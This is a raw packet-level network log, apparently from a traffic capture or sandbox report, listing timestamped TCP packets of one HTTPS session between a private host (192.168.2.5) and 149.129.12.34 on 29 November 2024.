Nov 29, 2024 15:45:55.980395079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.980402946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:55.980439901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:55.983726025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.153450966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.153475046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.153565884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.153583050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.153628111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.158857107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.158873081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.158926964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.158935070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.158982992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.163803101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.163819075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.163882017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.163891077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.163930893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.169343948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.169359922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.169418097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.169425964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.169466972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.174854040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.174870014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.174921989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.174936056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.174984932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.180182934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.180200100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.180253029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.180260897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.180305004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.180557013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.185580015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.185595036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.185646057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.185653925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.185694933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.191159010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.191174030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.191226006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.191231966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.191270113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.204668999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.364007950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.364027023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.364150047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.364166021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.364212036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.369550943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.369585991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.369622946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.369631052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.369657993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.369677067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.374448061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.374464989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.374506950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.374515057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.374540091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.374561071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.379996061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.380017042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.380073071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.380084991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.380120039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.385469913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.385485888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.385533094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.385539055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.385581970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.390738010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.390753031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.390810966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.390819073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.390857935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.396223068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.396240950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.396294117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.396302938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.396343946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.400943041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.401043892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.401062012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.401112080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.401118994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.401158094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.437391996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.575041056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.575061083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.575165033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.575176001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.575217009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.579884052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.579900980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.580003023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.580008984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.580054998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.585488081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.585504055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.585570097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.585580111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.585623026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.591001034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.591021061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.591059923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.591068029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.591094017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.591113091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.595911980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.595927000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.595978022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.595983982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.596025944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.601713896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.601730108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.601798058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.601805925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.601850033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.606627941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.606643915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.606694937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.606702089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.606746912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.612179995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.612201929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.612272024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.612278938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.612325907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.803579092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.803605080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.803679943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.803689957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.803735971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.809123993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.809139967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.809190035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.809196949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.809257984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.814560890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.814577103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.814651012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.814659119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.814697027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.819463968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.819480896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.819524050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.819531918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.819555044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.819572926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.825164080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.825180054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.825258970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.825267076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.825304985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.830218077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.830234051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.830276012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.830284119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.830322027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.835825920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.835841894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.835881948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.835889101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.835905075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.835928917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.841274023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.841289997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.841325998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.841331959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:56.841352940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:56.841377974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.014501095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.014520884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.014622927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.014633894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.014672041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.019929886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.019946098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.020005941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.020014048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.020055056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.025522947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.025537968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.025593996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.025602102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.025639057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.030422926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.030437946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.030487061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.030494928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.030548096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.035900116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.035914898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.035970926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.035976887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.036014080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.041657925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.041672945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.041723013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.041731119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.041769028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.047111988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.047127008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.047173977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.047180891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.047220945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.052238941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.052254915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.052293062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.052299023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.052325010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.052340984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.225467920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.225488901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.225585938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.225595951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.225645065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.230312109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.230326891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.230384111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.230391979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.230429888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.235786915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.235801935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.235855103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.235861063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.235905886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.241389036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.241404057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.241458893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.241466999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.241503954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.246279955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.246299982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.246349096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.246356964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.246395111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.252120018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.252135992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.252187014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.252196074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.252234936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.257040977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.257055998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.257116079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.257123947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.257159948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.262511969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.262528896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.262578011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.262584925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.262622118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.546312094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.546324968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.546365023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.546560049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.546571970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.546622992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.551672935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.551691055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.551754951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.551763058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.551805973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.556560040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.556581020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.556633949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.556641102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.556677103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.562179089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.562196970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.562248945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.562256098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.562294006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.567620993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.567641020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.567697048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.567703962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.567744017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.572911024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.572928905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.572987080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.572994947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.573034048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.578385115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.578402996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.578455925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.578463078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.578501940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.582413912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.583328009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.583347082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.583388090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.583395004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.583439112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.597893953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.756532907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.756561041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.756613016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.756623983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.756676912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.762113094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.762128115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.762178898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.762187004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.762227058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.767607927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.767623901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.767683983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.767692089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.767761946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.773135900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.773152113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.773214102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.773222923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.773276091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.778094053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.778107882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.778165102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.778172016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.778220892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.783480883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.783495903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.783548117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.783555984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.783577919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.783592939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.788232088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.788791895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.788808107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.788862944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.788871050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.788909912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.794291973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.794315100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.794372082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:57.794378996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:57.794414043 CET	49704	443	192.168.2.5	149.129.12.34
